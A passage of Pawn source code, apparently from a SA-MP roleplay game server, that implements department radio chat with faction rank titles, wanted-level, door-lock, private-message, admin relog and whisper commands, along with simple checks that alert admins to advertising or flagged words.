				if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
				if(PlayerInfo[playerid][pMember] == 1 || PlayerInfo[playerid][pLeader] == 1)
				{
	                if(PlayerInfo[playerid][pRank] >= 7) { format(string, sizeof(string), "** PD Leader {FFFFFF}%s{8D8DFF}: {FFFFFF}%s{8D8DFF}, over. **", sendername, result); }
	                else if(PlayerInfo[playerid][pRank] == 6) { format(string, sizeof(string), "** Chief {FFFFFF}%s{8D8DFF}: {FFFFFF}%s{8D8DFF}, over. **", sendername, result); }
	                else if(PlayerInfo[playerid][pRank] == 5) { format(string, sizeof(string), "** Colonel {FFFFFF}%s{8D8DFF}: {FFFFFF}%s{8D8DFF}, over. **", sendername, result); }
	                else if(PlayerInfo[playerid][pRank] == 4) { format(string, sizeof(string), "** Captain {FFFFFF}%s{8D8DFF}: {FFFFFF}%s{8D8DFF}, over. **", sendername, result); }
	                else if(PlayerInfo[playerid][pRank] == 3) { format(string, sizeof(string), "** Sergeant {FFFFFF}%s{8D8DFF}: {FFFFFF}%s{8D8DFF}, over. **", sendername, result); }
	                else if(PlayerInfo[playerid][pRank] == 2) { format(string, sizeof(string), "** Police Officer {FFFFFF}%s{8D8DFF}: {FFFFFF}%s{8D8DFF}, over. **", sendername, result); }
	                else if(PlayerInfo[playerid][pRank] == 1) { format(string, sizeof(string), "** Soldier {FFFFFF}%s{8D8DFF}: {FFFFFF}%s{8D8DFF}, over. **", sendername, result); }
	                else
	                {
	                    format(string, sizeof(string), "** PD Leader {FFFFFF}%s{8D8DFF}: {FFFFFF}%s{8D8DFF}, over. **", sendername, result);
	                }
					SendTeamMessage(2, COLOR_DEPART2, string);
					SendTeamMessage(1, COLOR_DEPART2, string);
					//SendSolMessage(COLOR_DEPART2, string);
					if(IsAdv(result)&&PINFO[playerid][pAdmin]<12){new adwn[144];format(adwn, sizeof(adwn), "{ffffff}Player %s(%i) is advertising an IP (Possibly IP Address)",RPName(playerid), playerid);AdminWarn(adwn);}
				for(new i; i < sizeof(SusWords); i++)
				{
					if(PINFO[playerid][pAdmin] < 12)
					{
					         if(strcmp(result, LastMessageWarned[playerid], false))
         {
					 if(strfind(result, SusWords[i], true) != -1)
					 {
						  new name[25];
						  GetPlayerName(playerid, name, sizeof(name));
						  format(string, sizeof(string), "[AD-{00FF00}/D{FF0000}] {FFFFFF}%s(%d): {b8ffdb}%s", name, playerid, result);
						  SendAdminMMessage(COLOR_SINAGHERMEZ,string);
						  strcpy(LastMessageWarned[playerid],result,149);
						  break;
						  }
					 }
					 }
				}
					//printf("%s", string);
					return 1;
				}
				else if(PlayerInfo[playerid][pMember] == 2 || PlayerInfo[playerid][pLeader] == 2)
				{
	                if(PlayerInfo[playerid][pRank] >= 7) { format(string, sizeof(string), "** FBI Leader {FFFFFF}%s{8D8DFF}: {FFFFFF}%s{8D8DFF}, over. **", sendername, result); }
	                else if(PlayerInfo[playerid][pRank] == 6) { format(string, sizeof(string), "** Director {FFFFFF}%s{8D8DFF}: {FFFFFF}%s{8D8DFF}, over. **", sendername, result); }
	                else if(PlayerInfo[playerid][pRank] == 5) { format(string, sizeof(string), "** Deputy Director {FFFFFF}%s{8D8DFF}: {FFFFFF}%s{8D8DFF}, over. **", sendername, result); }
	                else if(PlayerInfo[playerid][pRank] == 4) { format(string, sizeof(string), "** Unit Chief {FFFFFF}%s{8D8DFF}: {FFFFFF}%s{8D8DFF}, over. **", sendername, result); }
	                else if(PlayerInfo[playerid][pRank] == 3) { format(string, sizeof(string), "** Supervisory Special Agent {FFFFFF}%s{8D8DFF}: {FFFFFF}%s{8D8DFF}, over. **", sendername, result); }
	                else if(PlayerInfo[playerid][pRank] == 2) { format(string, sizeof(string), "** Special Agent {FFFFFF}%s{8D8DFF}: {FFFFFF}%s{8D8DFF}, over. **", sendername, result); }
	                else if(PlayerInfo[playerid][pRank] == 1) { format(string, sizeof(string), "** New Agent Trainee {FFFFFF}%s{8D8DFF}: {FFFFFF}%s{8D8DFF}, over. **", sendername, result); }
	                else
	                {
	                    format(string, sizeof(string), "** FBI Leader {FFFFFF}%s{8D8DFF}: {FFFFFF}%s{8D8DFF}, over. **", sendername, result);
	                }
					SendTeamMessage(2, COLOR_DEPART2, string);
					SendTeamMessage(1, COLOR_DEPART2, string);
					//SendSolMessage(COLOR_DEPART2, string);
					if(IsAdv(result)&&PINFO[playerid][pAdmin]<12){new adwn[144];format(adwn, sizeof(adwn), "{ffffff}Player %s(%i) is advertising an IP (Possibly IP Address)",RPName(playerid), playerid);AdminWarn(adwn);}
				for(new i; i < sizeof(SusWords); i++)
				{
					if(PINFO[playerid][pAdmin] < 12)
					{
					         if(strcmp(result, LastMessageWarned[playerid], false))
         {
					 if(strfind(result, SusWords[i], true) != -1)
					 {
						  new name[25];
						  GetPlayerName(playerid, name, sizeof(name));
						  format(string, sizeof(string), "[AD-{00FF00}/D{FF0000}] {FFFFFF}%s(%d): {b8ffdb}%s", name, playerid, result);
						  SendAdminMMessage(COLOR_SINAGHERMEZ,string);
						  strcpy(LastMessageWarned[playerid],result,149);
						  break;
						  }
					 }
					 }
				}

					//printf("%s", string);
					return 1;
				}
				else if(PlayerInfo[playerid][pMember] == 3 || PlayerInfo[playerid][pLeader] == 3)
				{
	                if(PlayerInfo[playerid][pRank] >= 7) { format(string, sizeof(string), "** NG Leader {FFFFFF}%s{8D8DFF}: {FFFFFF}%s{8D8DFF}, over. **", sendername, result); }
	                else if(PlayerInfo[playerid][pRank] == 6) { format(string, sizeof(string), "** Marshal {FFFFFF}%s{8D8DFF}: {FFFFFF}%s{8D8DFF}, over. **", sendername, result); }
	                else if(PlayerInfo[playerid][pRank] == 5) { format(string, sizeof(string), "** Sergeant Major {FFFFFF}%s{8D8DFF}: {FFFFFF}%s{8D8DFF}, over. **", sendername, result); }
	                else if(PlayerInfo[playerid][pRank] == 4) { format(string, sizeof(string), "** Master Sergeant {FFFFFF}%s{8D8DFF}: {FFFFFF}%s{8D8DFF}, over. **", sendername, result); }
	                else if(PlayerInfo[playerid][pRank] == 3) { format(string, sizeof(string), "** Sergeant {FFFFFF}%s{8D8DFF}: {FFFFFF}%s{8D8DFF}, over. **", sendername, result); }
	                else if(PlayerInfo[playerid][pRank] == 2) { format(string, sizeof(string), "** Corporal {FFFFFF}%s{8D8DFF}: {FFFFFF}%s{8D8DFF}, over. **", sendername, result); }
	                else if(PlayerInfo[playerid][pRank] == 1) { format(string, sizeof(string), "** Private {FFFFFF}%s{8D8DFF}: {FFFFFF}%s{8D8DFF}, over. **", sendername, result); }
	                else
	                {
	                    format(string, sizeof(string), "** NG Leader {FFFFFF}%s{8D8DFF}: {FFFFFF}%s{8D8DFF}, over. **", sendername, result);
	                }
					SendTeamMessage(2, COLOR_DEPART2, string);
					SendTeamMessage(1, COLOR_DEPART2, string);
					//SendSolMessage(COLOR_DEPART2, string);
					if(IsAdv(result)&&PINFO[playerid][pAdmin]<12){new adwn[144];format(adwn, sizeof(adwn), "{ffffff}Player %s(%i) is advertising an IP (Possibly IP Address)",RPName(playerid), playerid);AdminWarn(adwn);}
				for(new i; i < sizeof(SusWords); i++)
				{
					if(PINFO[playerid][pAdmin] < 12)
					{
					         if(strcmp(result, LastMessageWarned[playerid], false))
         {
					 if(strfind(result, SusWords[i], true) != -1)
					 {
						  new name[25];
						  GetPlayerName(playerid, name, sizeof(name));
						  format(string, sizeof(string), "[AD-{00FF00}/D{FF0000}] {FFFFFF}%s(%d): {b8ffdb}%s", name, playerid, result);
						  SendAdminMMessage(COLOR_SINAGHERMEZ,string);
						  strcpy(LastMessageWarned[playerid],result,149);
						  break;
						  }
					 }
					 }
				}

					//printf("%s", string);
					return 1;
				}
				else if(PlayerInfo[playerid][pMember] == 20 || PlayerInfo[playerid][pLeader] == 20)
				{
					if(PlayerInfo[playerid][pRank] >= 7) { format(string, sizeof(string), "[D-SFPD]:{6699FF} Leader {3399FF}%s:{FFFFFF} %s", sendername, result); }
					else if(PlayerInfo[playerid][pRank] == 6) { format(string, sizeof(string), "[D-SFPD]:{6699FF} Sub-Leader {3399FF}%s:{FFFFFF} %s", sendername, result); }
					else if(PlayerInfo[playerid][pRank] == 5) { format(string, sizeof(string), "[D-SFPD]:{6699FF} R5 {3399FF}%s:{FFFFFF} %s", sendername, result); }
					else if(PlayerInfo[playerid][pRank] == 4) { format(string, sizeof(string), "[D-SFPD]:{6699FF} R4 {3399FF}%s:{FFFFFF} %s", sendername, result); }
					else if(PlayerInfo[playerid][pRank] == 3) { format(string, sizeof(string), "[D-SFPD]:{6699FF} R3 {3399FF}%s:{FFFFFF} %s", sendername, result); }
					else if(PlayerInfo[playerid][pRank] == 2) { format(string, sizeof(string), "[D-SFPD]:{6699FF} R2 {3399FF}%s:{FFFFFF} %s", sendername, result); }
					else if(PlayerInfo[playerid][pRank] == 1) { format(string, sizeof(string), "[D-SFPD]:{6699FF} R1 {3399FF}%s:{FFFFFF} %s", sendername, result); }
					else
					{
						format(string, sizeof(string), "[D-SFPD]:{6699FF} Leader {3399FF}%s:{FFFFFF} %s", sendername, result);
					}
					SendTeamMessage(2, COLOR_DEPART2, string);
					SendTeamMessage(1, COLOR_DEPART2, string);
					//SendSolMessage(COLOR_DEPART2, string);
					if(IsAdv(result)&&PINFO[playerid][pAdmin]<12){new adwn[144];format(adwn, sizeof(adwn), "{ffffff}Player %s(%i) is advertising an IP (Possibly IP Address)",RPName(playerid), playerid);AdminWarn(adwn);}
				for(new i; i < sizeof(SusWords); i++)
				{
					if(PINFO[playerid][pAdmin] < 12)
					{
					         if(strcmp(result, LastMessageWarned[playerid], false))
         {
					 if(strfind(result, SusWords[i], true) != -1)
					 {
						  new name[25];
						  GetPlayerName(playerid, name, sizeof(name));
						  format(string, sizeof(string), "[AD-{00FF00}/D{FF0000}] {FFFFFF}%s(%d): {b8ffdb}%s", name, playerid, result);
						  SendAdminMMessage(COLOR_SINAGHERMEZ,string);
						  strcpy(LastMessageWarned[playerid],result,149);
						  break;
						  }
					 }
					 }
				}
					//printf("%s", string);
					return 1;
				}
				if(PlayerInfo[playerid][pMember] == 4 || PlayerInfo[playerid][pLeader] == 4)
				{
	                if(PlayerInfo[playerid][pRank] >= 7) { format(string, sizeof(string), "** Chief Paramedic {FFFFFF}%s{8D8DFF}: {FFFFFF}%s{8D8DFF}, over. **", sendername, result); }
	                else if(PlayerInfo[playerid][pRank] == 6) { format(string, sizeof(string), "** Paramedic Field {FFFFFF}%s{8D8DFF}: {FFFFFF}%s{8D8DFF}, over. **", sendername, result); }
	                else if(PlayerInfo[playerid][pRank] == 5) { format(string, sizeof(string), "** Ambulance Commander {FFFFFF}%s{8D8DFF}: {FFFFFF}%s{8D8DFF}, over. **", sendername, result); }
	                else if(PlayerInfo[playerid][pRank] == 4) { format(string, sizeof(string), "** Paramedic in charge {FFFFFF}%s{8D8DFF}: {FFFFFF}%s{8D8DFF}, over. **", sendername, result); }
	                else if(PlayerInfo[playerid][pRank] == 3) { format(string, sizeof(string), "** Fire Paramedic {FFFFFF}%s{8D8DFF}: {FFFFFF}%s{8D8DFF}, over. **", sendername, result); }
	                else if(PlayerInfo[playerid][pRank] == 2) { format(string, sizeof(string), "** Candidate Fire Paramedic {FFFFFF}%s{8D8DFF}: {FFFFFF}%s{8D8DFF}, over. **", sendername, result); }
	                else if(PlayerInfo[playerid][pRank] == 1) { format(string, sizeof(string), "** Private {FFFFFF}%s{8D8DFF}: {FFFFFF}%s{8D8DFF}, over. **", sendername, result); }
	                else
	                {
	                    format(string, sizeof(string), "** Chief Paramedic {FFFFFF}%s{8D8DFF}: {FFFFFF}%s{8D8DFF}, over. **", sendername, result);
	                }
					SendTeamMessage(3, COLOR_DEPART2, string);
					SendTeamMessage(2, COLOR_DEPART2, string);
					SendTeamMessage(1, COLOR_DEPART2, string);
					//SendSolMessage(COLOR_DEPART2, string);
					if(IsAdv(result)&&PINFO[playerid][pAdmin]<12){new adwn[144];format(adwn, sizeof(adwn), "{ffffff}Player %s(%i) is advertising an IP (Possibly IP Address)",RPName(playerid), playerid);AdminWarn(adwn);}
				for(new i; i < sizeof(SusWords); i++)
				{
					if(PINFO[playerid][pAdmin] < 12)
					{
					         if(strcmp(result, LastMessageWarned[playerid], false))
         {
					 if(strfind(result, SusWords[i], true) != -1)
					 {
						  new name[25];
						  GetPlayerName(playerid, name, sizeof(name));
						  format(string, sizeof(string), "[AD-{00FF00}/D{FF0000}] {FFFFFF}%s(%d): {b8ffdb}%s", name, playerid, result);
						  SendAdminMMessage(COLOR_SINAGHERMEZ,string);
						  strcpy(LastMessageWarned[playerid],result,149);
						  break;
						  }
					 }
					 }
				}

					//printf("%s", string);
					return 1;
				}
				//if(PlayerInfo[playerid][pLeader] == 21)
				//{
					//format(string, sizeof(string), "[D-Sol]:{6699FF} Leader {3399FF}%s:{FFFFFF} %s", sendername, result);
					//SendTeamMessage(3, COLOR_PDBLUE, string);
					//SendTeamMessage(2, COLOR_PDBLUE, string);
					//SendTeamMessage(1, COLOR_PDBLUE, string);
					//SendSolMessage(COLOR_DEPART2, string);
				//for(new i; i < sizeof(SusWords); i++)
				//{
					//if(PINFO[playerid][pAdmin] < 12)
					//{
					         //if(strcmp(result, LastMessageWarned[playerid], false))
        // {
					 //if(strfind(result, SusWords[i], true) != -1)
					 //{
						  //new name[25];
						  //GetPlayerName(playerid, name, sizeof(name));
						  //format(string, sizeof(string), "[AD-{00FF00}/D{FF0000}] {FFFFFF}%s(%d): {b8ffdb}%s", name, playerid, result);
						  //SendAdminMMessage(COLOR_SINAGHERMEZ,string);
						  //strcpy(LastMessageWarned[playerid],result,149);
						  //break;
						  //}
					 //}
					 //}
				//}
					//printf("%s", string);
					//return 1;
				//}
				else
				{
					SendMessage(playerid, COLOR_SINA3, "You are not Cop/Medic.");
					return 1;
				}
			}
			return 1;
		}
	//----------------------------------[SetCrim]-----------------------------------------------
	// This one is rewrited by Sina
		if(strcmp(cmd, "/suspect", true) == 0 || strcmp(cmd, "/su", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(OnDuty[playerid] != 1 && PINFO[playerid][pLeader] != 21)
				{
					SendMessage(playerid, COLOR_BLUE, "You are not on-Duty.");
					return 1;
				}
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: (/su)spect <Playerid/PartOfName> <WantedLevel> <Reason>");
					return 1;
				}
				giveplayerid = ReturnUser6(tmp);
				if(InSleep[giveplayerid] == 1)
				{
					SendMessage(playerid, COLOR_GREY, "Error: That player is asleep.");
					return 1;
				}
				if(IsAtjail(giveplayerid)) return SCM(playerid, COLOR_GG, "Error: That player is prisoner.");
				//if(PINFO[giveplayerid][pAdmin] >= 10) return SCM(playerid,COLOR_SINA2,"Error: You can't give any wantedlevels to higher admins rank.");
				if((gTeam[playerid] == TEAM_COP || IsACop(playerid)))
				{
					if(IsPlayerConnected(giveplayerid))
					{
						if(giveplayerid != INVALID_PLAYER_ID)
						{
							if (gTeam[giveplayerid] != TEAM_COP)
							{
								GetPlayerName(giveplayerid, giveplayer, sizeof(giveplayer));
								GetPlayerName(playerid, sendername, sizeof(sendername));
								tmp = strtok(cmdtext, idx);
								if(!strlen(tmp))
								{
									SendMessage(playerid, COL_SYN, "Syntax: (/su)spect <Playerid/PartOfName> <WantedLevel> <Reason>");
									return 1;
								}
								new strings[256];
								new stringss[128];
								new wanted = strval(tmp);
								if(PlayerInfo[giveplayerid][pWanted] >= 6)
								{
								SCM(playerid,COLOR_SINA3,"That player has 6 wanted level (full).");
								return 1;
								}
								if(wanted == 0 || wanted >= 7-GetPlayerWantedLevel(giveplayerid))
								{
									new limitstr[128];
									format(limitstr, 128, "Invalid wanted level amount ( Type a wanted level amount between 1 and %i.", 6-GetPlayerWantedLevel(giveplayerid));
									SCM(playerid, COLOR_SINA3, limitstr);
									return 1;
								}
								new length = strlen(cmdtext);
							while ((idx < length) && (cmdtext[idx] <= ' '))
							{
								idx++;
							}
							new offset = idx;
		  new result[64];
							while ((idx < length) && ((idx - offset) < (sizeof(result) - 1)))
							{
								result[idx - offset] = cmdtext[idx];
								idx++;
							}
							result[idx - offset] = EOS;
							if(!strlen(result))
							{
								SendMessage(playerid, COL_SYN, "Syntax: (/su)spect <Playerid/PartOfName> <WantedLevel> <Reason>");
								return 1;
							}
								SetPlayerWantedLevel(giveplayerid,GetPlayerWantedLevel(giveplayerid)+wanted);
								format(strings, sizeof(strings), "%s",(result));
								format(stringss, sizeof(stringss), "You gave %d wanted level to %s.",wanted,giveplayer);
								SCM(playerid,COLOR_LIGHTRED,stringss);
								WantedTimerEZ[giveplayerid] = 900;
								PlayerTextDrawShow(giveplayerid, WantedTTD[giveplayerid]);
								WantedKamKonTimerValid[giveplayerid] = true;
						format(string, sizeof(string), "[Dep-Warn]: {0069FF}%s %s has given %d wanted level(s) to %s, reason: %s", GetPlayerRank(playerid), sendername, wanted, giveplayer, result);
						SendFamilyMessage(1, COLOR_BLUE, string);
						SendFamilyMessage(2, COLOR_BLUE, string);
						SendFamilyMessage(3, COLOR_BLUE, string);
								SetPlayerCriminal(giveplayerid,playerid, strings,wanted);
								return 1;
						}
					else
					{
							format(string, sizeof(string), "That Player is a cop.");
							SendMessage(playerid, COLOR_GRAD1, string);
							return 1;
					}
					}
					else
					{
							format(string, sizeof(string), "That Player is offline.");
							SendMessage(playerid, COLOR_GRAD1, string);
							return 1;
					}
				}
				else
					{
							format(string, sizeof(string), "That Player is offline.");
							SendMessage(playerid, COLOR_GRAD1, string);
							return 1;
					}
			}
			else { SendMessage(playerid, COLOR_BLUE, "You are not a Cop."); }
		}
			return 1;
		}
		if(strcmp(cmd, "/open", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				for(new i = 0; i < sizeof(HouseInfo); i++)
				{
					if (PlayerToPoint(2, playerid,HouseInfo[i][hExitx], HouseInfo[i][hExity], HouseInfo[i][hExitz]) || (PlayerToPoint(3, playerid,HouseInfo[i][hEntrancex], HouseInfo[i][hEntrancey], HouseInfo[i][hEntrancez]) && GetPlayerVirtualWorld(playerid) == HouseInfo[i][hWorld]))
					{
						if(PINFO[playerid][pPhousekey] == 9999 || strcmp(HouseInfo[PINFO[playerid][pPhousekey]][hOwner],PINFO[playerid][pName],true)) return SCM(playerid,COLOR_Good,"You don't own a house.");
							if(HouseInfo[i][hLock] == 1)
							{
								HouseInfo[i][hLock] = 0;
								SaveKonValH(i, "hLock", 0);
								GameTextForPlayer(playerid, "~w~Door ~g~Unlocked", 5000, 6);
								PlayerPlaySound(playerid, 1145, 0.0, 0.0, 0.0);
								return 1;
							}
							if(HouseInfo[i][hLock] == 0)
							{
								HouseInfo[i][hLock] = 1;
								SaveKonValH(i, "hLock", 1);
								GameTextForPlayer(playerid, "~w~Door ~r~Locked", 5000, 6);
								PlayerPlaySound(playerid, 1145, 0.0, 0.0, 0.0);
								return 1;
							}
					}
				}
				for(new i = 0; i < sizeof(BizzInfo); i++)
				{
					if (PlayerToPoint(3, playerid,BizzInfo[i][bEntranceX], BizzInfo[i][bEntranceY], BizzInfo[i][bEntranceZ]) || (PlayerToPoint(3, playerid,BizzInfo[i][bExitX], BizzInfo[i][bExitY], BizzInfo[i][bExitZ]) && GetPlayerVirtualWorld(playerid) == BizzInfo[i][bVW]))
					{
						if((PlayerInfo[playerid][pPbiskey] == i)&&(PlayerInfo[playerid][pPbiskey]!=82)&&(PlayerInfo[playerid][pPbiskey]!=83)&&(PlayerInfo[playerid][pPbiskey]!=84))
						{
							if(BizzInfo[i][bLocked] == 1)
							{
								BizzInfo[i][bLocked] = 0;
								GameTextForPlayer(playerid, "~w~Business ~g~Open", 5000, 6);
								PlayerPlaySound(playerid, 1145, 0.0, 0.0, 0.0);
								return 1;
							}
							if(BizzInfo[i][bLocked] == 0)
							{
								BizzInfo[i][bLocked] = 1;
								GameTextForPlayer(playerid, "~w~Business ~r~Closed", 5000, 6);
								PlayerPlaySound(playerid, 1145, 0.0, 0.0, 0.0);
								return 1;
							}
							OnBizUpdate(i);
						}
						else
						{
							GameTextForPlayer(playerid, "~r~You Dont Have A Key", 5000, 6);
							return 1;
						}
					}
				}
			}
			return 1;
		}

	//----------------------------------[PM]-----------------------------------------------
		if(strcmp(cmd, "/pm", true) == 0)
		{
		if(Specing[playerid] >= 1) return SCM(playerid, COLOR_YELLOW2, "Error: You can't send chat when you are specing.");
			if(IsPlayerConnected(playerid))
			{
				if(PlayerInfo[playerid][pAdmin] <= 0 && PINFO[playerid][pHelper] < 1 && PINFO[playerid][pSponser] == 0)
				{
				SCM(playerid,COLOR_YELLOW2,"Error: Your admin or helper level isn't high enough to use this command");
				return 1;
				}
					if(gPlayerLogged[playerid] == 0)
					{
						SendMessage(playerid, COLOR_GREY, "You havent logged in yet!");
						return 1;
					}
					tmp = strtok(cmdtext, idx);
					if(!strlen(tmp))
					{
						SendMessage(playerid, COL_SYN, "Syntax: /Pm <Playerid/PartOfName> <Text>");
						return 1;
					}
					giveplayerid = ReturnUser6(tmp);
					if (IsPlayerConnected(giveplayerid))
					{
						 if(giveplayerid != INVALID_PLAYER_ID)
						 {
							GetPlayerName(playerid, sendername, sizeof(sendername));
							GetPlayerName(giveplayerid, giveplayer, sizeof(giveplayer));
							new length = strlen(cmdtext);
							while ((idx < length) && (cmdtext[idx] <= ' '))
							{
								idx++;
							}
							new offset = idx;
							 new result[144];
							while ((idx < length) && ((idx - offset) < (sizeof(result) - 1)))
							{
							result[idx - offset] = cmdtext[idx];
							idx++;
							}
							result[idx - offset] = EOS;
							if(!strlen(result))
							{
								SendMessage(playerid, COL_SYN, "Syntax: /Pm <Playerid/PartOfName> <Text>");
								return 1;
							}
							if(NoPM[giveplayerid] == 1 && PINFO[playerid][pAdmin] < 10)
						 {
						 SCM(playerid, COLOR_YELLOW2, "Error: That player enabled NoPM.");
						 return 1;
						 }
							//if(FTest[giveplayerid] == 1) return SCM(playerid, COLOR_YELLOW2, "Error: That player is in faction employ test.");
							if(giveplayerid == playerid) return SCM(playerid, COLOR_YELLOW2, "Error: You can't send a PM to yourself.");
							if(PINFO[playerid][pAdmin]<12)CensorText(result);
							format(string, sizeof(string), " PM from %s: {FFFFFF}%s {F7E815}", sendername, (result));
							SWM(giveplayerid, 0xF7E815AA, string);
							format(string, sizeof(string), " PM sent to %s: {FFFFFF}%s {F7E815}", giveplayer, (result));
							SWM(playerid,  0xF7E815AA, string);
							printf("[PM] %s To %s : %s", sendername, giveplayer, (result));
							if(IsAdv(result)&&PINFO[playerid][pAdmin]<12){new adwn[144];format(adwn, sizeof(adwn), "{ffffff}Player %s(%i) is advertising an IP (Possibly IP Address)",RPName(playerid), playerid);AdminWarn(adwn);}
						 for(new i; i < sizeof(SusWords); i++)
						{
						 if(PINFO[playerid][pAdmin] < 12)
						  {
						           if(strcmp(result, LastMessageWarned[playerid], false))
         {
							if(strfind(result, SusWords[i], true) != -1)
							{
							   new name[25];
							   GetPlayerName(playerid, name, sizeof(name));
							   format(string, sizeof(string), "[AD-{00FF00}PM-To-%s{FF0000}] {FFFFFF}%s(%d): {b8ffdb}%s", PINFO[giveplayerid][pName], name, playerid,result);
							   SendAdminMMessage(COLOR_SINAGHERMEZ,string);
							   strcpy(LastMessageWarned[playerid],result,149);
							   break;
							   }
						 }
							 }
						}
							return 1;
						}
					}
					else
					{
						format(string, sizeof(string), "That Player is offline.");
						SendMessage(playerid, COLOR_GRAD1, string);
					}
			}
			return 1;
		}
		/*
		if(strcmp(cmd, "/requestrelog", true) == 0 || strcmp(cmd, "/rr", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(PlayerInfo[playerid][pAdmin] <= 0)
				{
				SCM(playerid,COLOR_YELLOW2,"Error: Your admin level isn't high enough to use this command");
				return 1;
				}
					if(gPlayerLogged[playerid] == 0)
					{
						SendMessage(playerid, COLOR_GREY, "You havent logged in yet!");
						return 1;
					}
					tmp = strtok(cmdtext, idx);
					if(!strlen(tmp))
					{
						SendMessage(playerid, COL_SYN, "Syntax: /RequestRelog <Playerid/PartOfName> <Reason>");
						return 1;
					}
					giveplayerid = ReturnUser6(tmp);
					if (IsPlayerConnected(giveplayerid))
					{
						 if(giveplayerid != INVALID_PLAYER_ID)
						 {
						 if(PINFO[playerid][pAdmin] < 11 && PINFO[giveplayerid][pAdmin] >= 1) return SCM(playerid, COLOR_YELLOW2, "Error: You can't request relog for admins.");
						 if(PINFO[playerid][pAdmin] < PINFO[giveplayerid][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
							GetPlayerName(playerid, sendername, sizeof(sendername));
							GetPlayerName(giveplayerid, giveplayer, sizeof(giveplayer));
							new length = strlen(cmdtext);
							while ((idx < length) && (cmdtext[idx] <= ' '))
							{
								idx++;
							}
							new offset = idx;
							 new result[64];
							while ((idx < length) && ((idx - offset) < (sizeof(result) - 1)))
							{
							result[idx - offset] = cmdtext[idx];
							idx++;
							}
							result[idx - offset] = EOS;
							if(!strlen(result))
							{
								SendMessage(playerid, COL_SYN, "Syntax: /RequestRelog <Playerid/PartOfName> <Reason>");
								return 1;
							}
							//if(FTest[giveplayerid] == 1) return SCM(playerid, COLOR_YELLOW2, "Error: that player is in faction employ test.")
							format(string, sizeof(string), "{FF0000}[RequestRelog]: Admin %s requested you to relog, reason: %s", sendername, (result));
							SendMessage(giveplayerid, 0xF7E815AA, string);
							format(string, sizeof(string), "{00FF00}You have requested relog to %s, reason: %s", giveplayer, (result));
							SendMessage(playerid,  0xF7E815AA, string);
					   new sttrr[256];
					   format(sttrr,256,"{FFFFFF}Admin %s requested %s to relog, reason: %s.", PINFO[playerid][pName], PINFO[giveplayerid][pName], (result));
					   AdminWarn(sttrr);
							//printf("{FF0000}[RequestRelog]: Admin %s Requested You To Relog. Please Relog With /Relog Or /q And Connect Again To Game.", sendername, giveplayer, (result));

							return 1;
						}
					}
					else
					{
						format(string, sizeof(string), "That Player is offline.");
						SendMessage(playerid, COLOR_GRAD1, string);
					}
			}
			return 1;
		}
		*/
		
		
		
		
		
				if(strcmp(cmd, "/arelog", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(PlayerInfo[playerid][pAdmin] < 1)
				{
				SCM(playerid,COLOR_YELLOW2,"Error: Your admin level isn't high enough to use this command");
				return 1;
				}
					if(gPlayerLogged[playerid] == 0)
					{
						SendMessage(playerid, COLOR_GREY, "You havent logged in yet!");
						return 1;
					}
					tmp = strtok(cmdtext, idx);
					if(!strlen(tmp))
					{
						SendMessage(playerid, COL_SYN, "Syntax: /arelog <Playerid/PartOfName> <Reason>");
						return 1;
					}
					giveplayerid = ReturnUser6(tmp);
					if (IsPlayerConnected(giveplayerid))
					{
						 if(giveplayerid != INVALID_PLAYER_ID)
						 {
					if(PINFO[playerid][pAdmin] < 11 && PINFO[giveplayerid][pAdmin] >= 1) return SCM(playerid, COLOR_YELLOW2, "Error: You can't relog admins.");
						 if(PINFO[playerid][pAdmin] < PINFO[giveplayerid][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
						 if(playerid == giveplayerid) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for yourself.");
							GetPlayerName(playerid, sendername, sizeof(sendername));
							GetPlayerName(giveplayerid, giveplayer, sizeof(giveplayer));
							new length = strlen(cmdtext);
							while ((idx < length) && (cmdtext[idx] <= ' '))
							{
								idx++;
							}
							new offset = idx;
							 new result[144];
							while ((idx < length) && ((idx - offset) < (sizeof(result) - 1)))
							{
							result[idx - offset] = cmdtext[idx];
							idx++;
							}
							result[idx - offset] = EOS;
							if(!strlen(result))
							{
								SendMessage(playerid, COL_SYN, "Syntax: /arelog <Playerid/PartOfName> <Reason>");
								return 1;
							}
							SaveAccounts();
							format(string, sizeof(string), "Admin %s has relogged you for {ff0000}%s{ffffff}. Reconnecting...", sendername, (result));
							SendMessage(giveplayerid, COLOR_WHITE, string);
					   new sttrr[100];
					   format(sttrr,100,"{FFFFFF}Admin %s has relogged %s for: %s", PINFO[playerid][pName], PINFO[giveplayerid][pName], (result));
					   AdminWarn(sttrr);
					   //RelogPlayer3(giveplayerid);
					   RelogPlayerSevvom[giveplayerid] = SetTimerEx("Relogme3", 50, false, "i", giveplayerid);

							return 1;
						}
					}
					else
					{
						format(string, sizeof(string), "That Player is offline.");
						SendMessage(playerid, COLOR_GRAD1, string);
					}
			}
			return 1;
		}
		
		
		
		
		
		
	//----------------------------------[Whisper]-----------------------------------------------
		if(strcmp(cmd, "/whisper", true) == 0 || strcmp(cmd, "/w", true) == 0)
		{
		if(Specing[playerid] >= 1) return SCM(playerid, COLOR_YELLOW2, "Error: You can't send chat when you are specing.");
			if(IsPlayerConnected(playerid))
			{
				if(gPlayerLogged[playerid] == 0)
				{
					SendMessage(playerid, COLOR_GREY, "You havent logged in yet.");
					return 1;
				}
				if(PINFO[playerid][pMuteTime] > 0) return SCM(playerid,COLOR_SINA3,"You cannot speak when you are muted.");

				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: (/w)hisper <Playerid/PartOfName> <Whisper Massage>");
					return 1;
				}
				giveplayerid = ReturnUser6(tmp);
				if (IsPlayerConnected(giveplayerid))
				{
					if(Specing[giveplayerid] >= 1) return SendMessage(playerid,  COLOR_GREY, "Player is not near you !");
					if(giveplayerid != INVALID_PLAYER_ID)
					{
						new Float:x, Float:y, Float:z;
						GetPlayerPos(giveplayerid,x,y,z);
						if(PlayerToPoint(5, playerid, x, y, z))
						{
							new length = strlen(cmdtext);
